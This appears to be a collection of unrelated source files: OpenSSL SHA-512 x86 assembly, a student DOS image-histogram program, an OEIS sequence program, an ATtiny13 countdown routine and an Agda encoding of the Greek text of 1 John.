bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 16[edi]
mov ebx,DWORD PTR 20[edi]
mov ecx,DWORD PTR 24[edi]
mov edx,DWORD PTR 28[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 32[edi]
mov ebx,DWORD PTR 36[edi]
mov ecx,DWORD PTR 40[edi]
mov edx,DWORD PTR 44[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 48[edi]
mov ebx,DWORD PTR 52[edi]
mov ecx,DWORD PTR 56[edi]
mov edx,DWORD PTR 60[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 64[edi]
mov ebx,DWORD PTR 68[edi]
mov ecx,DWORD PTR 72[edi]
mov edx,DWORD PTR 76[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 80[edi]
mov ebx,DWORD PTR 84[edi]
mov ecx,DWORD PTR 88[edi]
mov edx,DWORD PTR 92[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 96[edi]
mov ebx,DWORD PTR 100[edi]
mov ecx,DWORD PTR 104[edi]
mov edx,DWORD PTR 108[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
mov eax,DWORD PTR 112[edi]
mov ebx,DWORD PTR 116[edi]
mov ecx,DWORD PTR 120[edi]
mov edx,DWORD PTR 124[edi]
bswap eax
bswap ebx
bswap ecx
bswap edx
push eax
push ebx
push ecx
push edx
add edi,128
sub esp,72
mov DWORD PTR 204[esp],edi
lea edi,DWORD PTR 8[esp]
mov ecx,16
DD 2784229001
ALIGN 16
$L00600_15_x86:
mov ecx,DWORD PTR 40[esp]
mov edx,DWORD PTR 44[esp]
mov esi,ecx
shr ecx,9
mov edi,edx
shr edx,9
mov ebx,ecx
shl esi,14
mov eax,edx
shl edi,14
xor ebx,esi
shr ecx,5
xor eax,edi
shr edx,5
xor eax,ecx
shl esi,4
xor ebx,edx
shl edi,4
xor ebx,esi
shr ecx,4
xor eax,edi
shr edx,4
xor eax,ecx
shl esi,5
xor ebx,edx
shl edi,5
xor eax,esi
xor ebx,edi
mov ecx,DWORD PTR 48[esp]
mov edx,DWORD PTR 52[esp]
mov esi,DWORD PTR 56[esp]
mov edi,DWORD PTR 60[esp]
add eax,DWORD PTR 64[esp]
adc ebx,DWORD PTR 68[esp]
xor ecx,esi
xor edx,edi
and ecx,DWORD PTR 40[esp]
and edx,DWORD PTR 44[esp]
add eax,DWORD PTR 192[esp]
adc ebx,DWORD PTR 196[esp]
xor ecx,esi
xor edx,edi
mov esi,DWORD PTR [ebp]
mov edi,DWORD PTR 4[ebp]
add eax,ecx
adc ebx,edx
mov ecx,DWORD PTR 32[esp]
mov edx,DWORD PTR 36[esp]
add eax,esi
adc ebx,edi
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
add eax,ecx
adc ebx,edx
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov DWORD PTR 32[esp],eax
mov DWORD PTR 36[esp],ebx
mov esi,ecx
shr ecx,2
mov edi,edx
shr edx,2
mov ebx,ecx
shl esi,4
mov eax,edx
shl edi,4
xor ebx,esi
shr ecx,5
xor eax,edi
shr edx,5
xor ebx,ecx
shl esi,21
xor eax,edx
shl edi,21
xor eax,esi
shr ecx,21
xor ebx,edi
shr edx,21
xor eax,ecx
shl esi,5
xor ebx,edx
shl edi,5
xor eax,esi
xor ebx,edi
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov esi,DWORD PTR 16[esp]
mov edi,DWORD PTR 20[esp]
add eax,DWORD PTR [esp]
adc ebx,DWORD PTR 4[esp]
or ecx,esi
or edx,edi
and ecx,DWORD PTR 24[esp]
and edx,DWORD PTR 28[esp]
and esi,DWORD PTR 8[esp]
and edi,DWORD PTR 12[esp]
or ecx,esi
or edx,edi
add eax,ecx
adc ebx,edx
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
mov dl,BYTE PTR [ebp]
sub esp,8
lea ebp,DWORD PTR 8[ebp]
cmp dl,148
jne $L00600_15_x86
ALIGN 16
$L00716_79_x86:
mov ecx,DWORD PTR 312[esp]
mov edx,DWORD PTR 316[esp]
mov esi,ecx
shr ecx,1
mov edi,edx
shr edx,1
mov eax,ecx
shl esi,24
mov ebx,edx
shl edi,24
xor ebx,esi
shr ecx,6
xor eax,edi
shr edx,6
xor eax,ecx
shl esi,7
xor ebx,edx
shl edi,1
xor ebx,esi
shr ecx,1
xor eax,edi
shr edx,1
xor eax,ecx
shl edi,6
xor ebx,edx
xor eax,edi
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
mov ecx,DWORD PTR 208[esp]
mov edx,DWORD PTR 212[esp]
mov esi,ecx
shr ecx,6
mov edi,edx
shr edx,6
mov eax,ecx
shl esi,3
mov ebx,edx
shl edi,3
xor eax,esi
shr ecx,13
xor ebx,edi
shr edx,13
xor eax,ecx
shl esi,10
xor ebx,edx
shl edi,10
xor ebx,esi
shr ecx,10
xor eax,edi
shr edx,10
xor ebx,ecx
shl edi,13
xor eax,edx
xor eax,edi
mov ecx,DWORD PTR 320[esp]
mov edx,DWORD PTR 324[esp]
add eax,DWORD PTR [esp]
adc ebx,DWORD PTR 4[esp]
mov esi,DWORD PTR 248[esp]
mov edi,DWORD PTR 252[esp]
add eax,ecx
adc ebx,edx
add eax,esi
adc ebx,edi
mov DWORD PTR 192[esp],eax
mov DWORD PTR 196[esp],ebx
mov ecx,DWORD PTR 40[esp]
mov edx,DWORD PTR 44[esp]
mov esi,ecx
shr ecx,9
mov edi,edx
shr edx,9
mov ebx,ecx
shl esi,14
mov eax,edx
shl edi,14
xor ebx,esi
shr ecx,5
xor eax,edi
shr edx,5
xor eax,ecx
shl esi,4
xor ebx,edx
shl edi,4
xor ebx,esi
shr ecx,4
xor eax,edi
shr edx,4
xor eax,ecx
shl esi,5
xor ebx,edx
shl edi,5
xor eax,esi
xor ebx,edi
mov ecx,DWORD PTR 48[esp]
mov edx,DWORD PTR 52[esp]
mov esi,DWORD PTR 56[esp]
mov edi,DWORD PTR 60[esp]
add eax,DWORD PTR 64[esp]
adc ebx,DWORD PTR 68[esp]
xor ecx,esi
xor edx,edi
and ecx,DWORD PTR 40[esp]
and edx,DWORD PTR 44[esp]
add eax,DWORD PTR 192[esp]
adc ebx,DWORD PTR 196[esp]
xor ecx,esi
xor edx,edi
mov esi,DWORD PTR [ebp]
mov edi,DWORD PTR 4[ebp]
add eax,ecx
adc ebx,edx
mov ecx,DWORD PTR 32[esp]
mov edx,DWORD PTR 36[esp]
add eax,esi
adc ebx,edi
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
add eax,ecx
adc ebx,edx
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov DWORD PTR 32[esp],eax
mov DWORD PTR 36[esp],ebx
mov esi,ecx
shr ecx,2
mov edi,edx
shr edx,2
mov ebx,ecx
shl esi,4
mov eax,edx
shl edi,4
xor ebx,esi
shr ecx,5
xor eax,edi
shr edx,5
xor ebx,ecx
shl esi,21
xor eax,edx
shl edi,21
xor eax,esi
shr ecx,21
xor ebx,edi
shr edx,21
xor eax,ecx
shl esi,5
xor ebx,edx
shl edi,5
xor eax,esi
xor ebx,edi
mov ecx,DWORD PTR 8[esp]
mov edx,DWORD PTR 12[esp]
mov esi,DWORD PTR 16[esp]
mov edi,DWORD PTR 20[esp]
add eax,DWORD PTR [esp]
adc ebx,DWORD PTR 4[esp]
or ecx,esi
or edx,edi
and ecx,DWORD PTR 24[esp]
and edx,DWORD PTR 28[esp]
and esi,DWORD PTR 8[esp]
and edi,DWORD PTR 12[esp]
or ecx,esi
or edx,edi
add eax,ecx
adc ebx,edx
mov DWORD PTR [esp],eax
mov DWORD PTR 4[esp],ebx
mov dl,BYTE PTR [ebp]
sub esp,8
lea ebp,DWORD PTR 8[ebp]
cmp dl,23
jne $L00716_79_x86
mov esi,DWORD PTR 840[esp]
mov edi,DWORD PTR 844[esp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edx,DWORD PTR 12[esi]
add eax,DWORD PTR 8[esp]
adc ebx,DWORD PTR 12[esp]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
add ecx,DWORD PTR 16[esp]
adc edx,DWORD PTR 20[esp]
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
mov eax,DWORD PTR 16[esi]
mov ebx,DWORD PTR 20[esi]
mov ecx,DWORD PTR 24[esi]
mov edx,DWORD PTR 28[esi]
add eax,DWORD PTR 24[esp]
adc ebx,DWORD PTR 28[esp]
mov DWORD PTR 16[esi],eax
mov DWORD PTR 20[esi],ebx
add ecx,DWORD PTR 32[esp]
adc edx,DWORD PTR 36[esp]
mov DWORD PTR 24[esi],ecx
mov DWORD PTR 28[esi],edx
mov eax,DWORD PTR 32[esi]
mov ebx,DWORD PTR 36[esi]
mov ecx,DWORD PTR 40[esi]
mov edx,DWORD PTR 44[esi]
add eax,DWORD PTR 40[esp]
adc ebx,DWORD PTR 44[esp]
mov DWORD PTR 32[esi],eax
mov DWORD PTR 36[esi],ebx
add ecx,DWORD PTR 48[esp]
adc edx,DWORD PTR 52[esp]
mov DWORD PTR 40[esi],ecx
mov DWORD PTR 44[esi],edx
mov eax,DWORD PTR 48[esi]
mov ebx,DWORD PTR 52[esi]
mov ecx,DWORD PTR 56[esi]
mov edx,DWORD PTR 60[esi]
add eax,DWORD PTR 56[esp]
adc ebx,DWORD PTR 60[esp]
mov DWORD PTR 48[esi],eax
mov DWORD PTR 52[esi],ebx
add ecx,DWORD PTR 64[esp]
adc edx,DWORD PTR 68[esp]
mov DWORD PTR 56[esi],ecx
mov DWORD PTR 60[esi],edx
add esp,840
sub ebp,640
cmp edi,DWORD PTR 8[esp]
jb $L002loop_x86
mov esp,DWORD PTR 12[esp]
pop edi
pop esi
pop ebx
pop ebp
ret
ALIGN 64
$L001K512:
DD 3609767458,1116352408
DD 602891725,1899447441
DD 3964484399,3049323471
DD 2173295548,3921009573
DD 4081628472,961987163
DD 3053834265,1508970993
DD 2937671579,2453635748
DD 3664609560,2870763221
DD 2734883394,3624381080
DD 1164996542,310598401
DD 1323610764,607225278
DD 3590304994,1426881987
DD 4068182383,1925078388
DD 991336113,2162078206
DD 633803317,2614888103
DD 3479774868,3248222580
DD 2666613458,3835390401
DD 944711139,4022224774
DD 2341262773,264347078
DD 2007800933,604807628
DD 1495990901,770255983
DD 1856431235,1249150122
DD 3175218132,1555081692
DD 2198950837,1996064986
DD 3999719339,2554220882
DD 766784016,2821834349
DD 2566594879,2952996808
DD 3203337956,3210313671
DD 1034457026,3336571891
DD 2466948901,3584528711
DD 3758326383,113926993
DD 168717936,338241895
DD 1188179964,666307205
DD 1546045734,773529912
DD 1522805485,1294757372
DD 2643833823,1396182291
DD 2343527390,1695183700
DD 1014477480,1986661051
DD 1206759142,2177026350
DD 344077627,2456956037
DD 1290863460,2730485921
DD 3158454273,2820302411
DD 3505952657,3259730800
DD 106217008,3345764771
DD 3606008344,3516065817
DD 1432725776,3600352804
DD 1467031594,4094571909
DD 851169720,275423344
DD 3100823752,430227734
DD 1363258195,506948616
DD 3750685593,659060556
DD 3785050280,883997877
DD 3318307427,958139571
DD 3812723403,1322822218
DD 2003034995,1537002063
DD 3602036899,1747873779
DD 1575990012,1955562222
DD 1125592928,2024104815
DD 2716904306,2227730452
DD 442776044,2361852424
DD 593698344,2428436474
DD 3733110249,2756734187
DD 2999351573,3204031479
DD 3815920427,3329325298
DD 3928383900,3391569614
DD 566280711,3515267271
DD 3454069534,3940187606
DD 4000239992,4118630271
DD 1914138554,116418474
DD 2731055270,174292421
DD 3203993006,289380356
DD 320620315,460393269
DD 587496836,685471733
DD 1086792851,852142971
DD 365543100,1017036298
DD 2618297676,1126000580
DD 3409855158,1288033470
DD 4234509866,1501505948
DD 987167468,1607167915
DD 1246189591,1816402316
_sha512_block_data_order ENDP
DB 83,72,65,53,49,50,32,98,108,111,99,107,32,116,114,97
DB 110,115,102,111,114,109,32,102,111,114,32,120,56,54,44,32
DB 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97
DB 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103
DB 62,0
.text$ ENDS
.bss SEGMENT 'BSS'
COMM _OPENSSL_ia32cap_P:QWORD
.bss ENDS
END
|
rvv.asm | rodolfovalentim/sistemb2016-1 | 0 | 243206 | ; <NAME>
; Sistemas Embarcados 2016/1
%macro drawline 5 ;x1,y1,x2,y2,color
mov ax,%1
push ax
mov ax,%2
push ax
mov ax,%3
push ax
mov ax,%4
push ax
mov byte[cor],%5
call line
%endmacro
%macro ponto 2 ; x,y,color
add %1, 3
add %2, 100
push %1
push %2
call plot_xy
sub %1, 3
sub %2, 100
%endmacro
%macro writeword 4
mov byte[cor], %4
mov bx,0
mov dh,%2 ;linha 0-29
mov dl,%3 ;coluna 0-79
%%local:
call cursor
mov al,[bx+%1]
cmp al, '$'
je %%exit
call caracter
inc bx ;proximo caracter
inc dl ;avanca a coluna
jmp %%local
%%exit:
%endmacro
;*******************************************************************
segment code
..start:
mov ax,data
mov ds,ax
mov ax,stack
mov ss,ax
mov sp,stacktop
; salvar modo corrente de video(vendo como esta o modo de video da maquina)
mov ah, 0Fh
int 10h
mov [modo_anterior], al
; alterar modo de video para grafico 640x480 16 cores
mov al, 12h
mov ah, 0
int 10h
drawline 255, 0, 255, 479, branco_intenso
drawline 255, 239, 639, 239, branco_intenso
drawline 63, 479, 63, 431, branco_intenso
drawline 127, 479, 127, 431, branco_intenso
drawline 191, 479, 191, 431, branco_intenso
drawline 0, 431, 255, 431, branco_intenso
drawline 0, 63, 255, 63, branco_intenso
writeword abrir, 1, 1, branco_intenso
writeword sair, 1, 10, branco_intenso
writeword hist, 1, 18, branco_intenso
writeword eqhist, 1, 25, branco_intenso
writeword txhist, 1, 33, branco_intenso
writeword txeqhist, 16, 33, branco_intenso
writeword nome, 27, 1, branco_intenso
writeword disc, 28, 1, branco_intenso
mov ax, 01h
int 33h
ETERNO:
mov ax, 05h
mov bx, 0
int 33h
test bl, 1
jz ETERNO
jmp LEFT_BUTTON_PRESSED
EXIT:
mov ah,0 ; set video mode
mov al,[modo_anterior] ; modo anterior
int 10h
mov ah, 4Ch
int 21h
;*******************Functions***************************************
OPEN:
mov byte[flaghist], 0
mov byte[flageqhist], 0
mov bx, cfd
mov di, histogram
mov si, eqhistogram
mov ax, 319
mov dx, 319
mov cx, 256
RESETH:
mov word[bx], 00
mov word[di], 00
mov word[si], 00
add di, 2
add si, 2
add bx, 2
pusha
drawline ax, 16, dx, 207, preto
popa
pusha
drawline ax, 250, dx, 447, preto
popa
inc ax
inc dx
loop RESETH
;abre arquivo
mov ah, 3Dh
mov al, 00
mov dx, filename
mov cx, 1
int 21h
mov word[handle], ax
mov si, image
READ:
mov ah, 3Fh
mov bx, word[handle]
mov cx, 1
mov dx, input
int 21h
;verifica se o arquivo acabou
cmp ax, cx
jl FINISH_READ
;compara com o espaço
mov dl, byte[input]
cmp dl, 20h
je STORE
mov al, byte[buffer]
sub dl, '0'
mov bl, 0ah
mul bl
add al, dl
mov byte[buffer], al
jmp READ
STORE:
mov dl, byte[buffer]
mov byte[si], dl
inc si
mov byte[buffer], 00h
jmp READ
FINISH_READ:
; termina a leitura da imagem
mov dl, [buffer]
mov byte[si], dl
mov ah, 3Eh
int 21h
PRINT:
; print to screen
mov si, 0 ; x
mov di, 249 ; y
mov bx, image
L3: cmp di, 0
je EL3
mov ah, 00h
mov al, byte[bx]
shr al, 4
mov byte[cor], al
ponto si, di
inc si
inc bx
cmp si, 250
je RCAX
jmp L3
RCAX:
;reset counter ax
mov si, 0
sub di, 1
jmp L3
EL3:
mov byte[flagopen], 1
jmp ETERNO
;*******************************************************************
DO_HISTOGRAM:
mov ax, [flagopen]
cmp ax, 1
je ALOWED0
jmp ETERNO
ALOWED0:
mov ax, [flaghist]
cmp ax, 0
je ALOWED1
jmp ETERNO
ALOWED1:
mov si, image
mov di, histogram
mov cx, 62501
L2:
mov bh, 00h
mov bl, byte[si]
add bx, bx
add word[di+bx], 0001h
inc si
loop L2
; plot histogram
mov cx, 319
mov bx, histogram
L6:
cmp cx, 575
je EL6
mov dx, word[bx]
shr dx, 4
add dx, 250
drawline cx, 250, cx, dx, branco_intenso
add bx, 2
inc cx
jmp L6
EL6:
mov byte[flaghist], 1
jmp ETERNO
;*******************************************************************
ACUMULATE:
mov ax, [flaghist]
cmp ax, 1
je ALOWED2
jmp ETERNO
ALOWED2:
; mov ax, [flageqhist]
; cmp ax, 0
; je ALOWED3
; jmp ETERNO
;ALOWED3:
mov si, histogram
mov di, cfd
mov bx, [si]
mov [di], bx
add si, 2
mov cx, 255
L4:
mov bx, [si]
add [di+2], bx
mov bx, [di]
add [di+2], bx
add di, 2
add si, 2
loop L4
equalize:
mov di, image
mov cx, 62500
mov bx, 62500
L7:
mov al, byte[di]
and ax, 00FFh
mov si, ax
add si, si
mov ax, [cfd+si]
mov bx, 256
mul bx
mov bx, 62500
div bx
mov [di], al
inc di
loop L7
DO_HISTOGRAM_EQ:
mov si, image
mov di, eqhistogram
mov cx, 62501
L10:
mov bh, 00h
mov bl, byte[si]
add bx, bx
add word[di+bx], 0001h
inc si
loop L10
; plot histogram
mov cx, 319
mov bx, eqhistogram
L5:
cmp cx, 575
je EL5
mov dx, word[bx]
shr dx, 4
add dx, 16
drawline cx, 16, cx, dx, branco_intenso
add bx, 2
inc cx
jmp L5
EL5:
mov byte[flageqhist], 1
jmp PRINT
LEFT_BUTTON_PRESSED:
pusha
writeword abrir, 1, 1, branco_intenso
writeword sair, 1, 10,branco_intenso
writeword hist, 1, 18,branco_intenso
writeword eqhist, 1, 25,branco_intenso
popa
cmp dx, 48
jg CASEO
cmp cx, 63
jl CASE1
cmp cx, 127
jl CASE2
cmp cx, 191
jl CASE3
cmp cx, 255
jl CASE4
jmp ETERNO
CASEO:
jmp ETERNO
CASE1:
writeword abrir, 1, 1, amarelo
jmp OPEN
CASE2:
writeword sair, 1, 10, amarelo
jmp EXIT
CASE3:
writeword hist, 1, 18, amarelo
jmp DO_HISTOGRAM
CASE4:
writeword eqhist, 1, 25, amarelo
jmp ACUMULATE
;***************************************************************************
; função cursor
; dh = linha (0-29) e dl=coluna (0-79)
;***************************************************************************
cursor:
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
mov ah,2
mov bh,0
int 10h
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
;_____________________________________________________________________________
;
; fun��o caracter escrito na posi��o do cursor
;
; al= caracter a ser escrito
; cor definida na variavel cor
caracter:
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
mov ah,9
mov bh,0
mov cx,1
mov bl,[cor]
int 10h
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
;_____________________________________________________________________________
;
; função plot_xy
;
; push x; push y; call plot_xy; (x<639, y<479)
; cor definida na variavel cor
plot_xy:
push bp
mov bp,sp
pushf
push ax
push bx
push cx
push dx
push si
push di
mov ah,0ch
mov al,[cor]
mov bh,0
mov dx,479
sub dx,[bp+4]
mov cx,[bp+6]
int 10h
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pop bp
ret 4
;-----------------------------------------------------------------------------
;
; fun��o line
;
; push x1; push y1; push x2; push y2; call line; (x<639, y<479)
line:
push bp
mov bp,sp
pushf ;coloca os flags na pilha
push ax
push bx
push cx
push dx
push si
push di
mov ax,[bp+10] ; resgata os valores das coordenadas
mov bx,[bp+8] ; resgata os valores das coordenadas
mov cx,[bp+6] ; resgata os valores das coordenadas
mov dx,[bp+4] ; resgata os valores das coordenadas
cmp ax,cx
je line2
jb line1
xchg ax,cx
xchg bx,dx
jmp line1
line2:
; deltax=0
cmp bx,dx ;subtrai dx de bx
jb line3
xchg bx,dx ;troca os valores de bx e dx entre eles
line3:
; dx > bx
push ax
push bx
call plot_xy
cmp bx,dx
jne line31
jmp fim_line
line31: inc bx
jmp line3
;deltax <>0
line1:
; comparar m�dulos de deltax e deltay sabendo que cx>ax
; cx > ax
push cx
sub cx,ax
mov [deltax],cx
pop cx
push dx
sub dx,bx
ja line32
neg dx
line32:
mov [deltay],dx
pop dx
push ax
mov ax,[deltax]
cmp ax,[deltay]
pop ax
jb line5
; cx > ax e deltax>deltay
push cx
sub cx,ax
mov [deltax],cx
pop cx
push dx
sub dx,bx
mov [deltay],dx
pop dx
mov si,ax
line4:
push ax
push dx
push si
sub si,ax ;(x-x1)
mov ax,[deltay]
imul si
mov si,[deltax] ;arredondar
shr si,1
; se numerador (DX)>0 soma se <0 subtrai
cmp dx,0
jl ar1
add ax,si
adc dx,0
jmp arc1
ar1:
sub ax,si
sbb dx,0
arc1:
idiv word [deltax]
add ax,bx
pop si
push si
push ax
call plot_xy
pop dx
pop ax
cmp si,cx
je fim_line
inc si
jmp line4
line5:
cmp bx,dx
jb line7
xchg ax,cx
xchg bx,dx
line7:
push cx
sub cx,ax
mov [deltax],cx
pop cx
push dx
sub dx,bx
mov [deltay],dx
pop dx
mov si,bx
line6:
push dx
push si
push ax
sub si,bx ;(y-y1)
mov ax,[deltax]
imul si
mov si,[deltay] ;arredondar
shr si,1
; se numerador (DX)>0 soma se <0 subtrai
cmp dx,0
jl ar2
add ax,si
adc dx,0
jmp arc2
ar2:
sub ax, si
sbb dx, 0
arc2:
idiv word [deltay]
mov di, ax
pop ax
add di, ax
pop si
push di
push si
call plot_xy
pop dx
cmp si, dx
je fim_line
inc si
jmp line6
fim_line:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pop bp
ret 8
;*******************************************************************
segment data
cor db branco_intenso
; I R G B COR
; 0 0 0 0 preto
; 0 0 0 1 azul
; 0 0 1 0 verde
; 0 0 1 1 cyan
; 0 1 0 0 vermelho
; 0 1 0 1 magenta
; 0 1 1 0 marrom
; 0 1 1 1 branco
; 1 0 0 0 cinza
; 1 0 0 1 azul claro
; 1 0 1 0 verde claro
; 1 0 1 1 cyan claro
; 1 1 0 0 rosa
; 1 1 0 1 magenta claro
; 1 1 1 0 amarelo
; 1 1 1 1 branco intenso
preto equ 0
azul equ 1
verde equ 2
cyan equ 3
vermelho equ 4
magenta equ 5
marrom equ 6
branco equ 7
cinza equ 8
azul_claro equ 9
verde_claro equ 10
cyan_claro equ 11
rosa equ 12
magenta_claro equ 13
amarelo equ 14
branco_intenso equ 15
modo_anterior db 0
linha dw 0
coluna dw 0
deltax dw 0
deltay dw 0
abrir db 'ABRIR$'
sair db 'SAIR$'
hist db 'HIST$'
eqhist db 'HISTEQ$'
txhist db 'HISTOGRAMA ORIGINAL$'
txeqhist db 'HISTOGRAMA EQUALIZADO$'
nome db 'RODOLFO VALENTIM$'
disc db 'SISTEMAS EMBARCADOS 2016/1$'
filename db 'imagem.txt', 0
buffer db 0
handle dw 0
input db 0
flagopen db 0
flaghist db 0
flageqhist db 0
histogram: times 256 dw 0
cfd: times 256 dw 0
eqhistogram: times 256 dw 0
image: resb 62500
;*************************************************************************
segment stack stack
resb 256
stacktop:
|
programs/oeis/256/A256313.asm | karttu/loda | 1 | 92605 | ; A256313: Number of partitions of 3n into exactly 4 parts.
; 0,0,2,6,15,27,47,72,108,150,206,270,351,441,551,672,816,972,1154,1350,1575,1815,2087,2376,2700,3042,3422,3822,4263,4725,5231,5760,6336,6936,7586,8262,8991,9747,10559,11400,12300,13230,14222,15246,16335,17457,18647,19872,21168,22500,23906,25350,26871,28431,30071,31752,33516,35322,37214,39150,41175,43245,45407,47616,49920,52272,54722,57222,59823,62475,65231,68040,70956,73926,77006,80142,83391,86697,90119,93600,97200,100860,104642,108486,112455,116487,120647,124872,129228,133650,138206,142830,147591,152421,157391,162432,167616,172872,178274,183750,189375,195075,200927,206856,212940,219102,225422,231822,238383,245025,251831,258720,265776,272916,280226,287622,295191,302847,310679,318600,326700,334890,343262,351726,360375,369117,378047,387072,396288,405600,415106,424710,434511,444411,454511,464712,475116,485622,496334,507150,518175,529305,540647,552096,563760,575532,587522,599622,611943,624375,637031,649800,662796,675906,689246,702702,716391,730197,744239,758400,772800,787320,802082,816966,832095,847347,862847,878472,894348,910350,926606,942990,959631,976401,993431,1010592,1028016,1045572,1063394,1081350,1099575,1117935,1136567,1155336,1174380,1193562,1213022,1232622,1252503,1272525,1292831,1313280,1334016,1354896,1376066,1397382,1418991,1440747,1462799,1485000,1507500,1530150,1553102,1576206,1599615,1623177,1647047,1671072,1695408,1719900,1744706,1769670,1794951,1820391,1846151,1872072,1898316,1924722,1951454,1978350,2005575,2032965,2060687,2088576,2116800,2145192,2173922,2202822,2232063,2261475,2291231,2321160,2351436,2381886,2412686,2443662,2474991,2506497,2538359,2570400,2602800,2635380,2668322,2701446,2734935,2768607,2802647,2836872,2871468,2906250
mov $1,1
add $1,$0
pow $0,2
div $0,4
mul $1,$0
mul $1,3
div $1,4
|
unordnung_auch_assembler/asm/attiny13/slowmo/2decCounterdown.asm | no-go/Blink_atmega328p | 0 | 92429 | <filename>unordnung_auch_assembler/asm/attiny13/slowmo/2decCounterdown.asm
.include "myTiny13.h"
; this program counts decimal two 7seg-display from 59 to 00 !!!
; near 1sec
;irq Vector
.org 0x0000
rjmp OnReset
.org 0x0003
rjmp TimerOVF
.org 0x0010
TimerOVF:
; Countdown on every overflow
push B ; 2 clocks
dec A ; 1 clock
ldi B,239 ; 1 clock ; Timer prevalue = 255-16 -5 ?
out TCNT0,B ; 1 clock
pop B
reti
.org 0x0030
OnReset:
;initial values
; X8421 if X=1 then 10er Digit is on!
ldi A,0b00011111
out DDRB,A
; 001,010,011,100,101 / 1,8,64,256,1024 ?
ldi A,0b00000101 ; timer auf clock/1024 e.g. on 16kHz: 16 ticks/sec
out TCCR0B,A
ldi A,0b00000010 ; enable timer-overfl IRQ
out TIMSK0,A
ldi A,239 ; Timer prevalue = 255-16
out TCNT0,A
sei ; IRQ allow
ldi A,0x59
out PORTB,A
MainLoop:
rcall Ato2digi
rjmp MainLoop
;subroutine show A on the 2 7seg Display ++++++++++++++++++++++
Ato2digi:
push B
push C
Doit:
mov B,A ; B := A
cpi B,0xFF ; 255 -1 ?
breq SetFull
mov C,B ; load "decimal" into C
LSR C
LSR C
LSR C
LSR C ; C := C/16 -> move 10er Digit to 1er Digit
push C
sbr C,0b00010000 ; 10er = set bit4
out PORTB,C
pop C
LSL C
LSL C
LSL C
LSL C ; C := C*16 -> lost the 1er potence!
sub B,C
cpi B,0xF
breq SetNo0F
cbr B,0b00010000 ; 1er = clear bit4
out PORTB,B
pop C
pop B
ret
SetNo0F:
subi A,6 ; BCD code to make hex to decimal
rjmp Doit
SetFull:
ldi A,0x59
rjmp Doit
|
agda/Text/Greek/SBLGNT/1John.agda | scott-fleischman/GreekGrammar | 44 | 15209 | <reponame>scott-fleischman/GreekGrammar<filename>agda/Text/Greek/SBLGNT/1John.agda
module Text.Greek.SBLGNT.1John where
open import Data.List
open import Text.Greek.Bible
open import Text.Greek.Script
open import Text.Greek.Script.Unicode
ΙΩΑΝΝΟΥ-Α : List (Word)
ΙΩΑΝΝΟΥ-Α =
word (Ὃ ∷ []) "1John.1.1"
∷ word (ἦ ∷ ν ∷ []) "1John.1.1"
∷ word (ἀ ∷ π ∷ []) "1John.1.1"
∷ word (ἀ ∷ ρ ∷ χ ∷ ῆ ∷ ς ∷ []) "1John.1.1"
∷ word (ὃ ∷ []) "1John.1.1"
∷ word (ἀ ∷ κ ∷ η ∷ κ ∷ ό ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.1"
∷ word (ὃ ∷ []) "1John.1.1"
∷ word (ἑ ∷ ω ∷ ρ ∷ ά ∷ κ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.1.1"
∷ word (τ ∷ ο ∷ ῖ ∷ ς ∷ []) "1John.1.1"
∷ word (ὀ ∷ φ ∷ θ ∷ α ∷ ∙λ ∷ μ ∷ ο ∷ ῖ ∷ ς ∷ []) "1John.1.1"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.1.1"
∷ word (ὃ ∷ []) "1John.1.1"
∷ word (ἐ ∷ θ ∷ ε ∷ α ∷ σ ∷ ά ∷ μ ∷ ε ∷ θ ∷ α ∷ []) "1John.1.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.1"
∷ word (α ∷ ἱ ∷ []) "1John.1.1"
∷ word (χ ∷ ε ∷ ῖ ∷ ρ ∷ ε ∷ ς ∷ []) "1John.1.1"
∷ word (ἡ ∷ μ ∷ ῶ ∷ ν ∷ []) "1John.1.1"
∷ word (ἐ ∷ ψ ∷ η ∷ ∙λ ∷ ά ∷ φ ∷ η ∷ σ ∷ α ∷ ν ∷ []) "1John.1.1"
∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.1.1"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.1.1"
∷ word (∙λ ∷ ό ∷ γ ∷ ο ∷ υ ∷ []) "1John.1.1"
∷ word (τ ∷ ῆ ∷ ς ∷ []) "1John.1.1"
∷ word (ζ ∷ ω ∷ ῆ ∷ ς ∷ []) "1John.1.1"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.1.2"
